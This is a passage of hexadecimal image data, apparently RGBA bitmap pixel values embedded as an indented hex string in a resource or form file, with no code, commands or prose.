06FF010000FF01C0C1FF01FFFFFF01FFFFFF01FFFFFF01FFFFFF04C4FFFF0144\n      FFFF004FFFFF024EFFFF0150FFFF485F9FFF3D2D97FF3516D5FF3416D1FF3417\n      D2FF3517D1FF3313CDFF2E0CC3FF2F0AC1FF2F0AC1FF300EC5FF3415CFFF3417\n      D1FF3417D2FF3316D1FF3517D8FF584E8AFF609521FF72CA03FF71C604FF70C6\n      05FF72C506FF74CD00FF5079FEFF527DF2FF527DF1FF527DF1FF527DF1FF5280\n      F1FF5280F1FF5180F2FF5383FAFF617293FF838DAFFF8894EFFF8FC3A8FF0FAE\n      00FF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB0\n      0BFF1AB009FF19B009FF17B307FF4E8646FF212323FF060909FF080B0CFF090D\n      0EFF080000FF0AB8B9FF0AFFFFFF0AFFFFFF0AFFFFFF09FFFFFF0CBAFFFF0840\n      FFFF094BFFFF0649FFFF0647FFFF495E9FFF754A20FF944600FF924700FF9248\n      00FF8C3E00FFA15C14FFE6C59EFFDADAB1FFDCD7AEFFD4AE7DFF954600FF8F43\n      00FF924700FF914600FF944700FF775F47FF5C8B22FF66AD08FF66AB0AFF67AC\n      0BFF67AC0CFF6BB300FF4754F7FF4959EAFF495AE9FF495AE9FF495AE9FF495A\n      E9FF4859E9FF4757E9FF4658F0FF5E6998FF898EAFFF878BEFFF8CBCA9FF0AA6\n      00FF14A80DFF14A80DFF16A80DFF16A80DFF16A80DFF16A80DFF14A80DFF14A8\n      0DFF15A80CFF12A80AFF11AB06FF4D8148FF232424FF080A0AFF0B0D0DFF0C0F\n      0FFF0D0000FF0DB7B8FF0DFFFFFF0DFFFFFF0DFFFFFF0CFFFFFF0FB7FFFF0D3B\n      FFFF0C44FFFF0A44FFFF0842FFFF495B9DFF714723FF8D4508FF8C460BFF863C\n      00FFBF906CFFD8EDEEFFA0C7B0FFBCC5B4FFBEC6BAFF9ACAACFFD3E8DFFFA05D\n      2CFF894106FF8C450AFF8D4408FF745D49FF578024FF5F9E09FF609E0CFF619D\n      0DFF609F0EFF63A800FF3E38F5FF403DE9FF403EE8FF403EE8FF403EE9FF403E\n      E9FF413DE9FF3E3CE9FF3E3AEFFF5C5C96FF6666A8FF615FE9FF99C5A7FF04A2\n      00FF10A503FF10A504FF10A504FF10A504FF10A504FF10A504FF10A504FF10A5\n      03FF0FA403FF0FA401FF0CA900FF4A8048FF232424FF090A0AFF0C0D0DFF0E0F\n      0FFF0D0000FF0FB7B7FF0FFFFFFF0FFFFFFF0FFFFFFF0EFFFFFF11B5FFFF0D35\n      FFFF0E3FFFFF0C3DFFFF093DFFFF495A9DFF724724FF8C4409FF8A4307FFA363\n      33FFBADFD0FFB0D6B6FFCDC0B5FF8BCBB7FF9EC3B0FFBABFAAFFA3CBAEFFE5EE\n      EBFF883E02FF8B440AFF8F4509FF755D49FF537423FF5A9209FF59900CFF5C92\n      0EFF5B910FFF5E9C00FF3820F7FF3A27EAFF3A27EAFF3A27EAFF3A26E8FF3A26\n      E8FF3925E9FF3824E9FF3622EFFF585396FF6565A8FF5454DFFF8580ECFF0300\n      DFFF0E01E2FF1002E2FF0F02E2FF0F02E2FF0F02E2FF0F02E2FF1002E2FF0E01\n      E1FF0D00E1FF0B00E1FF0800E6FF494793FF242424FF0A0A0AFF0D0D0DFF0D0D\n      0DFF0F0000FF10B7B7FF10FFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32\n      FFFF0E3CFFFF0C3AFFFF093AFFFF4A5A9DFF724A25FF8D450AFF863B00FFD6C5\n      B1FFB6D2C2FFB7DACAFF71C196FF8A965CFF8B9E56FF8AC6ADFFF7F2FBFFA0CA\n      B1FFC29574FF883F03FF8E4509FF755D49FF527125FF578D0AFF578C0DFF588D\n      0DFF598D0EFF5D9700FF3616F6FF381DEAFF381DEAFF381DEAFF391DEAFF371C\n      EAFF361BE9FF3619E9FF3316F0FF584E96FF7373ABFF6F6FE5FF8989E5FF0404\n      CCFF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF0F0F\n      CEFF0E0ECFFF0C0CCFFF0909D4FF49498DFF252525FF0C0C0CFF0D0D0DFF0E0E\n      0EFF100000FF10B7B7FF10FFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32\n      FFFF0E3DFFFF0C3BFFFF093AFFFF4A5A9DFF724A24FF914A0CFF883B00FFC1D1\n      C3FFE2EFE3FFFFFFFFFFF4ECF1FFE0D0C7FF55C3E0FFFCF2F1FFFFFFFFFFB6D4\n      C3FFCCBA9FFF873C00FF8E4509FF755D49FF537224FF5C910CFF598D0DFF578D\n      0EFF5A8E10FF5D9800FF3709F0FF390FE2FF390FE1FF390FE1FF390FE1FF390F\n      E1FF380EE1FF360CE0FF3609EBFF584A96FF7474ABFF6D6DE6FF8B8BE8FF0606\n      CDFF0F0FCFFF0F0FCFFF0F0FCFFF1010D0FF1010D0FF1010D0FF1010D0FF0F0F\n      CEFF0E0ECFFF0C0CCFFF0909D4FF49498DFF242424FF0E0E0EFF111111FF1111\n      11FF0F0000FF0FB7B7FF0FFFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32\n      FFFF0E3DFFFF0C3BFFFF093AFFFF4A5A9DFF724A25FF954E0EFF8E4301FFC5D2\n      C5FFE1F0DEFFC1D3ECFF89AAD2FFBAC3DAFF7ACBE9FF7984A2FFE9E6EEFFB7D7\n      C2FFC3B296FF883D00FF8E4509FF755D49FF557225FF5F950EFF5F9311FF5F92\n      11FF598C0FFF5E8500FF1CE4FBFF20E0F9FF20E0F8FF20E0F8FF20E0F8FF20E0\n      F8FF1FE0F8FF1DE1F8FF1BEAFFFF4F949EFF6262A8FF5959E2FF8686E7FF0909\n      D1FF1515D3FF1414D2FF1111D0FF0E0ECFFF0F0FCFFF0F0FCFFF0F0FCFFF0E0E\n      CEFF0D0DCEFF0B0BCEFF0909D3FF49498DFF242424FF0F0F0FFF121212FF1414\n      14FF150606FF14B9B9FF11FFFFFF0EFFFFFF0FFFFFFF0EFFFFFF12B4FFFF0D31\n      FFFF0D3BFFFF0B39FFFF0A3AFFFF495A9DFF754B25FF96510FFF904805FFCDC1\n      A4FFABC6B8FF6594D5FF83C9E4FF59877AFF56B662FF222E80FF8D9BBBFF9AC9\n      A8FFBF906DFF873E03FF8F4609FF755D49FF567525FF62960FFF639412FF6496\n      14FF649615FF668C00FF22D9FFFF20D3FCFF21D3FCFF21D3FCFF21D3FCFF21D3\n      FCFF20D3FCFF1ED2FCFF1DD9FFFF508F9DFF6B6BABFF6A6AE7FF9F9FECFF0A0A\n      D1FF1717D4FF1717D4FF1717D4FF1717D4FF1616D4FF1515D3FF1515D3FF1515\n      D1FF1414D3FF1212D3FF0F0FD9FF49498DFF252525FF101010FF131313FF1616\n      16FF170808FF17BABAFF17FFFFFF17FFFFFF16FFFFFF15FFFFFF17B8FFFF153E\n      FFFF1449FFFF124AFFFF104CFFFF4A5B9DFF754C26FF9A5410FF96520EFFA868\n      32FFBEE3D3FFE1EAE1FF5CA37BFF70B189FF399370FF81AA9AFFC2E1C3FFE2E9\n      E5FF914805FF975411FF9D570FFF765F49FF567526FF659A10FF669813FF6799\n      16FF689917FF6D9101FF2DDCFFFF32D8FCFF2FD8FCFF2ED7FCFF2DD7FCFF2DD7\n      FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF8686B0FF8C8CEBFF9090E9FF0909\n      D3FF1616D5FF1717D5FF1717D5FF1717D5FF1717D5FF1717D5FF1717D5FF1616\n      D5FF1515D5FF1313D5FF0F0FDAFF49498DFF242424FF101010FF131313FF1515\n      15FF170808FF17BABAFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF1BBBFFFF1644\n      FFFF154EFFFF134CFFFF0F4DFFFF495A9CFF774C25FF9C5710FF9A5813FF9551\n      0AFFB68854FFB6DDCAFFB3D7BEFF9FCDB2FFA6D0B8FFB9DBC6FFD5E6DAFFA665\n      29FF975610FF9A5713FF9D590FFF755F49FF577725FF699C10FF689A13FF6999\n      15FF689B16FF6F9502FF2EDCFFFF31D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9\n      FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF8282AFFF8787EDFF8A8AE9FF0505\n      D3FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111\n      D6FF1010D5FF0E0ED5FF0A0ADCFF47478DFF222222FF0B0B0BFF0E0E0EFF1010\n      10FF110202FF11B9B9FF11FFFFFF11FFFFFF11FFFFFF11FFFFFF14BBFFFF1144\n      FFFF104DFFFF0E4CFFFF0A4EFFFF48589BFF7A4F1FFFA35C00FFA25A01FFA15B\n      03FF9D5400FFAD6512FFD1B47CFFDBD2A6FFEBD6B2FFCFA76CFF9F5400FF9F58\n      00FFA25B03FFA05A01FFA45D00FF785F46FF577523FF699C0BFF699C0EFF6A9B\n      10FF699B11FF6F9500FF2BDEFFFF30DAFDFF30DAFCFF30DAFCFF30DAFCFF2ED9\n      FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF8C8CB5FFB1B1F4FFAFAFF2FF2828\n      DAFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333\n      DCFF3333DCFF3131DCFF3232E0FF55559AFF2F2F2FFF323232FF303030FF3131\n      31FF322424FF32C5C5FF32FFFFFF32FFFFFF32FFFFFF32FFFFFF34C4FFFF3257\n      FFFF3161FFFF3060FFFF3062FFFF5565ACFF4A3C9AFF644CCBFF6149C9FF624B\n      C8FF624AC8FF6148C7FF5E42BFFF5E40BBFF5C40BAFF5E44C0FF624AC9FF624A\n      C8FF624BC8FF614AC9FF624BCCFF655C95FF5D7B2FFF80AB33FF7AA731FF7CA8\n      33FF7CA833FF83A21FFF47E3FFFF49E0FFFF49E0FEFF49E0FEFF49E0FEFF4AE0\n      FEFF4AE0FEFF49DFFEFF4AE3FFFF5D9DACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC1C1C2FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C1FFC1C1C1FFC2C2\n      C2FFC1C1C2FFC2C1C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFF585850FFC4B459FFF5DE56FFE9D2\n      57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF\n      57FFE7D057FFE6D157FFEFD75AFF918B65FFB7BCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFF6F8FFFF9A92FFFF3729F6FF2515F3FF2717F3FF2717F3FF2717F3FF2717\n      F4FF2818F4FF2817F5FF2819FDFF534E96FF4D7350FF539553FF519253FF5293\n      52FF529254FF529254FF529254FF529252FF529252FF529254FF529254FF5292\n      54FF529352FF519253FF549554FF607564FF73601FFF986F04FF946E04FF956E\n      05FF9A6700FF57C3C0FF40E7FFFF43E4FFFF43E4FFFF3FE9FFFF67AD8FFF9969\n      00FF956E05FF946E04FF987002FF756D48FF404041FF2E303AFF57533CFFCAB5\n      3DFFE3CA3DFFD7C03DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF\n      3DFFD6BE3BFFD6BE3CFFDBC43AFF91895BFFBBBDBDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFD4D2F8FF7066E9FF2717DDFF2D1EDFFF2D1EDFFF2D1EDFFF2D1D\n      DFFF2C1CDFFF2B1BDFFF2B19E5FF554F94FF4F6E43FF538337FF538339FF5484\n      3AFF548439FF548534FF558828FF558630FF55862EFF558829FF548535FF5484\n      3AFF54843AFF538339FF538537FF61735BFF735323FF8D5606FF8C5609FF8D57\n      0BFF924E00FF52ADB8FF39D8FFFF3CD4FFFF3CD4FFFF37DAFFFF5E988BFF9150\n      00FF8D5709FF8C5609FF8F5507FF786648FF333333FF242424FF212125FF1619\n      26FF665B27FFD9BE27FFDBBF27FFD2B726FFD2B726FFD2B726FFD2B726FFD2B7\n      26FFD2B725FFD1B624FFD8BA21FF8E8553FFB9BBBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFF9991ECFF1B09D5FF1F0DD5FF301FD9FF301FD9FF301FD9FF301FD9FF301E\n      D9FF2F1ED9FF2D1CD7FF2C19DEFF554F91FF4F6733FF537921FF547824FF557A\n      25FF557C1CFF547146FF4A4ADDFF473CFFFF483DFFFF4B4CD4FF53753AFF557B\n      1DFF557A25FF547923FF547922FF627052FF6F4723FF8A4309FF88440BFF8A45\n      0DFF8F3C00FF4EA6B7FF35D4FFFF38D3FFFF38D1FFFF34D6FFFF598D8AFF8E3E\n      02FF8A460DFF89430BFF8B4207FF745F49FF282828FF111111FF121212FF1313\n      13FF0D0E14FF0C0C14FF837013FFDBC41FFFD3B615FFD1B00EFFD1B00EFFD1B0\n      0EFFD0B00CFFD0AE0CFFD5B30AFF8D824AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF9086E7FF2814D0FF311DD2FF311DD2FF311DD2FF311E\n      D2FF301DD2FF2F1BD2FF2D18D8FF554E8DFF4F6228FF54720FFF557312FF5673\n      0EFF536A38FF4932FFFF4A38F9FF4B39F5FF4B39F5FF4A37FAFF4933FFFF556D\n      26FF567310FF537111FF537210FF626D4DFF6D3D24FF863409FF87340CFF8635\n      0EFF8D2D00FF499FB7FF30D5FFFF2BA8CEFF30BDEAFF2ED5FFFF57848CFF8C2F\n      01FF86350EFF85350CFF883309FF735849FF232323FF080808FF0C0C0CFF0C0C\n      0CFF0D0D0DFF0E0E0FFF04040BFF061D2FFF33BADDFF44FAFFFF3FE9FFFF3EE6\n      FFFF3FE6FFFF3CE6FFFF3CECFFFF5A93A2FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF9E94E8FF2A17CFFF200CCDFF321FD0FF321FD0FF321FD0FF321FD0FF301E\n      D0FF311DD0FF2F1BCFFF2D18D6FF554E8CFF516024FF556F08FF546E0CFF5674\n      00FF4B3CD9FF4A34F9FF4B35F5FF4B35F5FF4B35F5FF4B35F5FF4A33FCFF4C42\n      C0FF567300FF556E0BFF556F07FF626A49FF6D3A25FF852D0AFF842E0DFF8530\n      0DFF8C2500FF479EBAFF2DCAFEFF1E6379FF2383A2FF2DD1FFFF54808CFF8B28\n      03FF85300EFF842E0CFF872C09FF73564AFF252525FF0C0C0CFF0D0D0DFF0E0E\n      0EFF101010FF101010FF101010FF0E0C0CFF080000FF1A373CFF44C7DBFF4CE5\n      FDFF4BE2FAFF49E2FAFF48E7FFFF5E929AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFC2BCF1FF6356DBFF2B18CFFF321FD1FF321FD1FF321FD1FF301E\n      D1FF311DD1FF2F1BD1FF2D18D6FF564E8DFF526224FF59740CFF56700CFF5672\n      05FF492EFFFF4B36F5FF4B36F5FF4B36F5FF4B36F5FF4B36F5FF4B35F5FF4930\n      FFFF577500FF556F0CFF557009FF626B49FF6E3A24FF8B310CFF86310DFF842F\n      0EFF8C2700FF48A4C1FF2085A6FF1D5769FF1C5162FF26AFDDFF568491FF8B28\n      03FF86310EFF852F0CFF872C09FF73564AFF242424FF0E0E0EFF111111FF1111\n      11FF0F0F0FFF0F0F0FFF0F0F0FFF0E0B0BFF080000FF204950FF46D2E7FF4CE4\n      FCFF4BE2FAFF48E2FAFF48E7FFFF5E929AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFAF9FCFFAAA2EAFF4E3DD6FF2E1BCFFF321FD1FF321FD1FF321FD1FF301E\n      D1FF311DD1FF2F1BD1FF2C18D6FF564E8DFF526325FF5C770EFF5D7610FF5C78\n      06FF492EFFFF4934F5FF4A35F5FF4A35F5FF4B36F5FF4B36F5FF4B35F6FF4931\n      FFFF577500FF556F0CFF547009FF626B49FF6F3B25FF8C360EFF8C3811FF8B36\n      11FF8B2700FF48A7C6FF1B5F76FF2691B4FF2CAFD9FF1A6785FF568997FF8B28\n      03FF86310EFF852F0CFF872C09FF73564AFF242424FF0F0F0FFF121212FF1414\n      14FF151515FF121214FF04030CFF0A293DFF37C9EDFF44F7FFFF3FE7FFFF3EE5\n      FFFF3EE5FFFF3CE5FFFF3EEBFFFF5A94A2FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFADA4ECFF4836D6FF2610CEFF311DD0FF301DD0FF301DD0FF301DD0FF2F1C\n      D0FF2F1BD0FF2D19CEFF2E18D6FF554F8DFF536425FF5F7A0FFF607912FF6280\n      02FF574AD4FF513CFBFF4E38F4FF4A35F4FF4934F5FF4934F5FF4932FEFF4B44\n      B7FF557300FF536D0BFF556F09FF626B49FF703D25FF90390FFF8D3B12FF8F3C\n      14FF953407FF4D96AAFF2483A0FF1E6881FF2693B7FF1A6F8CFF55828FFF8A28\n      03FF842F0DFF832D0BFF882C09FF73564AFF252525FF101010FF131313FF1516\n      16FF0C0E17FF121417FF968317FFE9C815FFDEB707FFDCB100FFDCB100FFDCB1\n      00FFDCB100FFDCB100FFE3B700FF8E8048FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF998FE8FF3823D4FF3E2AD5FF3C28D5FF3B28D3FF3B27\n      D3FF3C27D5FF3C26D5FF3E26DCFF564F8DFF556526FF627D10FF637C13FF6480\n      11FF627730FF583DFFFF5942FDFF5944F6FF5843F5FF563FFDFF543BFFFF6078\n      1EFF617B11FF637B12FF65800FFF636D49FF703F26FF913C10FF913E13FF923F\n      16FF973408FF54A7BDFF3EDCFFFF3DC4EEFF3ED3FFFF39DEFFFF60888FFF9333\n      09FF8F3C14FF903C12FF943E0FFF73574AFF242424FF101010FF0C0D13FF0406\n      15FF6B6017FFE0C417FFDABF17FFD3B917FFD3B917FFD3B917FFD3B917FFD3B9\n      16FFD3B915FFD3B813FFD8BD0FFF8B8149FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF9F94EBFF2208D0FF331BD3FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF4029D5FF3F26DCFF564F8DFF566525FF668110FF668013FF6781\n      15FF67820DFF667A2BFF5E52C6FF5A42FFFF5A42FFFF5E56BCFF667D20FF6782\n      0FFF678115FF658013FF67830FFF636D49FF703F25FF943F10FF934013FF9441\n      15FF993806FF56A6BCFF3FD5FFFF42D2FFFF42D1FFFF3ED7FFFF648C91FF983B\n      0AFF934115FF933F13FF953F0FFF73574AFF1F1F22FF00000BFF443D0EFFCFB6\n      10FFE0C311FFD5BA11FFD4BA11FFD4BA11FFD4BA11FFD4BA11FFD4BA11FFD4B8\n      11FFD4B910FFD3B90EFFDABF0AFF8A8048FFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFEEEDFBFF8C7CE7FF3921D5FF412AD7FF4028D7FF4028D7FF4029\n      D7FF4028D7FF3F25D7FF4024DEFF554E8CFF566623FF67830BFF65810EFF6682\n      10FF668211FF67830CFF688601FF688700FF688700FF688602FF67830EFF6682\n      11FF668210FF66810EFF68850AFF626B47FF703D23FF963F0BFF933F0EFF9440\n      10FF993601FF55A7BCFF3DD6FFFF40D2FFFF40D2FFFF3CD9FFFF648D8FFF9838\n      05FF944010FF933F0EFF97400AFF735547FF3E3C30FFBCA932FFEAD030FFDBC5\n      31FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C2\n      32FFD8C231FFD9C130FFDDC530FF998F55FFBFBFBFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFE2DFFBFF988EEAFF5845DDFF5642DDFF5743DDFF5743DDFF5743DDFF5743\n      DDFF5642DDFF5541DDFF5643E1FF615B9AFF5C6B30FF7C9333FF779131FF7991\n      33FF799133FF799133FF799133FF799133FF799133FF799133FF799133FF7991\n      33FF799133FF789131FF7A9332FF6F7855FF76452FFFA55B33FFA15831FFA258\n      33FFA65125FF6BB6CAFF57DBFFFF59D8FFFF59D8FFFF56DDFFFF799DA2FFA553\n      28FFA25833FFA15831FFA45932FF816155FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDBDBDBFFC2C2C2FFC1C1C1FFC1C1\n      C2FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3\n      C3FFC1C1C2FFC3C3C3FFC1C1C1FFFFFFFFFFDCDCDCFFBFBFC0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C2FFC2C1C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C1C2FFC0C0C0FFFFFFFFFF997B41FFDAA83EFFD6A53DFFD6A5\n      3CFFD6A43EFFD6A43DFFD7A63DFFD7A63DFFD7A63DFFD7A63DFFD7A63DFFD7A4\n      3EFFD6A53DFFD6A53DFFDCAA3DFF8B7A5BFFA16B21FFDD7C01FFDA7B02FFD97C\n      03FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C\n      02FFD97C03FFDA7B02FFDE7D00FF947547FF2872B4FF1194FFFF0F90FFFF0F91\n      FFFF0F91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0F91\n      FFFF0F90FFFF0E91FFFF1196FFFF4C759AFF5C9D6BFF6FE58BFF6CE087FF6BDF\n      88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF\n      88FF6BDF88FF6CE088FF70E88CFF698D73FF9D8040FFD29F38FFD09E39FFCF9F\n      3AFFCF9F3AFFCF9F3CFFD0A03BFFD0A03BFFD0A03BFFD0A03BFFD0A03BFFCF9F\n      3CFFCF9E3AFFD09E38FFD4A139FF8E7D5BFF925524FFB95005FFB85208FFB851\n      09FFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB853\n      